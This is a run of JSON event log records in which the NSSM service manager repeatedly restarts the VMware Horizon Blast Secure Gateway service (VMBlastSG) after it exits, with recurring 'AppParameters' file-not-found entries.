{"@timestamp":1646794420904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164492}}
{"@timestamp":1646794420905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164493}}
{"@timestamp":1646794420906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164494}}
{"@timestamp":1646794549666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164495}}
{"@timestamp":1646794549667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164496}}
{"@timestamp":1646794549667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160820","0"]}}},"module":"Application","provider":"nssm","sequence":164497}}
{"@timestamp":1646794549678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160820","160820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164498}}
{"@timestamp":1646794549695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164499}}
{"@timestamp":1646794549696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164500}}
{"@timestamp":1646794549696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164501}}
{"@timestamp":1646794549698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164502}}
{"@timestamp":1646794678186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164503}}
{"@timestamp":1646794678187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164504}}
{"@timestamp":1646794678188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161112","0"]}}},"module":"Application","provider":"nssm","sequence":164505}}
{"@timestamp":1646794678188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161112","161112","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164506}}
{"@timestamp":1646794678207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164507}}
{"@timestamp":1646794678207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164508}}
{"@timestamp":1646794678208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164509}}
{"@timestamp":1646794678208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164510}}
{"@timestamp":1646794806682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164511}}
{"@timestamp":1646794806683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164512}}
{"@timestamp":1646794806684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160716","0"]}}},"module":"Application","provider":"nssm","sequence":164513}}
{"@timestamp":1646794806684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160716","160716","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164514}}
{"@timestamp":1646794806700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164515}}
{"@timestamp":1646794806700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164516}}
{"@timestamp":1646794806701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164517}}
{"@timestamp":1646794806702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164518}}
{"@timestamp":1646794935378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164519}}
{"@timestamp":1646794935379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164520}}
{"@timestamp":1646794935379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161600","0"]}}},"module":"Application","provider":"nssm","sequence":164521}}
{"@timestamp":1646794935380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161600","161600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164522}}
{"@timestamp":1646794935396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164523}}
{"@timestamp":1646794935397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164524}}
{"@timestamp":1646794935398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164525}}
{"@timestamp":1646794935398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164526}}
{"@timestamp":1646795063899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164527}}
{"@timestamp":1646795063900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164528}}
{"@timestamp":1646795063901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161348","0"]}}},"module":"Application","provider":"nssm","sequence":164529}}
{"@timestamp":1646795063901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161348","161348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164530}}
{"@timestamp":1646795063921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159824","0"]}}},"module":"Application","provider":"nssm","sequence":164531}}
{"@timestamp":1646795063921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159824","161348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164532}}
{"@timestamp":1646795063978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164533}}
{"@timestamp":1646795063980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164534}}
{"@timestamp":1646795063981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164535}}
{"@timestamp":1646795063982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164536}}
{"@timestamp":1646795192458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164537}}
{"@timestamp":1646795192459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164538}}
{"@timestamp":1646795192459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160672","0"]}}},"module":"Application","provider":"nssm","sequence":164539}}
{"@timestamp":1646795192460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160672","160672","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164540}}
{"@timestamp":1646795192477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164541}}
{"@timestamp":1646795192477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164542}}
{"@timestamp":1646795192478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164543}}
{"@timestamp":1646795192479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164544}}
{"@timestamp":1646795320982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164545}}
{"@timestamp":1646795320983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164546}}
{"@timestamp":1646795320984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160864","0"]}}},"module":"Application","provider":"nssm","sequence":164547}}
{"@timestamp":1646795320984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160864","160864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164548}}
{"@timestamp":1646795321001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164549}}
{"@timestamp":1646795321001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164550}}
{"@timestamp":1646795321002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164551}}
{"@timestamp":1646795321003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164552}}
{"@timestamp":1646795449581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164553}}
{"@timestamp":1646795449582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164554}}
{"@timestamp":1646795449583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159432","0"]}}},"module":"Application","provider":"nssm","sequence":164555}}
{"@timestamp":1646795449584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159432","159432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164556}}
{"@timestamp":1646795449600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159840","0"]}}},"module":"Application","provider":"nssm","sequence":164557}}
{"@timestamp":1646795449601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159840","159432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164558}}
{"@timestamp":1646795449616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164559}}
{"@timestamp":1646795449621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164560}}
{"@timestamp":1646795449623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164561}}
{"@timestamp":1646795449625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164562}}
{"@timestamp":1646795578161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164563}}
{"@timestamp":1646795578162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164564}}
{"@timestamp":1646795578163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160524","0"]}}},"module":"Application","provider":"nssm","sequence":164565}}
{"@timestamp":1646795578163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160524","160524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164566}}
{"@timestamp":1646795578179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164567}}
{"@timestamp":1646795578180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164568}}
{"@timestamp":1646795578180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164569}}
{"@timestamp":1646795578181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164570}}
{"@timestamp":1646795706664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164571}}
{"@timestamp":1646795706665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164572}}
{"@timestamp":1646795706666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161304","0"]}}},"module":"Application","provider":"nssm","sequence":164573}}
{"@timestamp":1646795706666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161304","161304","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164574}}
{"@timestamp":1646795706684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164575}}
{"@timestamp":1646795706684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164576}}
{"@timestamp":1646795706685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164577}}
{"@timestamp":1646795706685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164578}}
{"@timestamp":1646795835178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164579}}
{"@timestamp":1646795835180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164580}}
{"@timestamp":1646795835181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159824","0"]}}},"module":"Application","provider":"nssm","sequence":164581}}
{"@timestamp":1646795835182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159824","159824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164582}}
{"@timestamp":1646795835197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164583}}
{"@timestamp":1646795835198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164584}}
{"@timestamp":1646795835198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164585}}
{"@timestamp":1646795835199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164586}}
{"@timestamp":1646795963770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164587}}
{"@timestamp":1646795963771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164588}}
{"@timestamp":1646795963772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161668","0"]}}},"module":"Application","provider":"nssm","sequence":164589}}
{"@timestamp":1646795963773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161668","161668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164590}}
{"@timestamp":1646795963790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164591}}
{"@timestamp":1646795963791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164592}}
{"@timestamp":1646795963791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164593}}
{"@timestamp":1646795963792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164594}}
{"@timestamp":1646796092510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164595}}
{"@timestamp":1646796092521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164596}}
{"@timestamp":1646796092522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160284","0"]}}},"module":"Application","provider":"nssm","sequence":164597}}
